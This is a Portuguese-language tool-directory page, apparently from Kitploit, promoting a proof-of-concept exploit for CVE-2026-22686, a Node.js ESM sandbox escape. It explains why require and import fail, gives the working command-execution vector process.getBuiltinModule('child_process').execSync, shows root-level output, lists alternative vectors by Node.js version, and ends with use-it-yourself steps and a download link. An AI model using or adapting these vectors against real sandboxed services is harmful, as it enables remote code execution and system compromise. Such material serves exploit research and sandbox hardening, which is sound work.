Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/moltengama/cve-2026-22686-remotecodeexecution-rce-poc
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebDesenvolvimento de Payloads
GitHubmoltengama/cve-2026-22686-remotecodeexecution-rce-poc

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

Prova de conceito de exploit para CVE-2026-22686, demonstrando execução remota de código em sandboxes ESM do Node.js via process.getBuiltinModule para contornar restrições de módulos.

Ver Repositório
2há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

RCE em Ambientes ESM — O Problema do require

Ao alcançar a fuga da sandbox via CVE-2026-22686, executar comandos do SO em um projeto ESM ("type": "module") exige contornar as restrições de carregamento de módulos do Node.js. As abordagens padrão falham pelos seguintes motivos:

VetorResultado
require('child_process')❌ require is not defined — não disponível em ESM
process.mainModule.require(...)❌ Cannot read properties of undefined — mainModule é undefined em ESM
import('child_process')❌ A dynamic import callback was not specified — requer um hook não configurado na sandbox
process.binding('spawn_sync')⚠️ Disponível, mas de baixo nível — exige construção manual de syscalls

Solução: Enumeração de Processos → process.getBuiltinModule

Em vez de assumir um método de carregamento de módulos, enumeramos as chaves de process diretamente do contexto do host (já acessível após a fuga da sandbox):

root@kitploit:~
return Object.keys(process)

Entre as chaves retornadas, getBuiltinModule foi identificada — uma API nativa do Node.js 22+ projetada especificamente para permitir que módulos ESM acessem módulos nativos do Node.js sem require ou import().

root@kitploit:~
process.getBuiltinModule('child_process').execSync('id').toString()
// → uid=0(root) gid=0(root) groups=0(root)  ✅ RCE confirmado

Este é o ponto-chave: process.getBuiltinModule é uma API relativamente nova (Node.js >= 22.3.0) e é frequentemente ignorada por implementações de sandbox e regras de WAF que bloqueiam require e import.


Vetores Alternativos (por versão do Node.js)

Dependendo do ambiente alvo, outros vetores podem estar disponíveis após enumerar process:

VetorVersão do Node.jsObservações
process.getBuiltinModule('child_process')>= 22.3.0✅ Mais limpo — API oficial segura para ESM
process.binding('spawn_sync')Todas⚠️ Baixo nível, exige construção manual de buffers
process.mainModule.require(...)Apenas CJS❌ Indefinido em ESM
__non_webpack_require__Bundles Webpack⚠️ Específico do ambiente
Module.createRequire(import.meta.url)>= 12.2.0⚠️ Requer referência de Module do host
process._linkedBinding('node_os')Builds internos⚠️ Raramente exposto

Conclusão: Sempre enumere Object.keys(process) após obter acesso ao contexto do host. A superfície de ataque disponível varia significativamente conforme a versão do Node.js e a configuração do projeto. getBuiltinModule é o vetor mais confiável em ambientes ESM modernos do Node.js.

CVE-2026-2268-RemoteCodeExecution-RCE-PoC

Passos:

  1. Insira seu comando pessoal
  2. Cole o payload resultante gerado no seu interpretador de sandbox js vulnerável
  3. Aproveite os resultados
image
Baixar ferramenta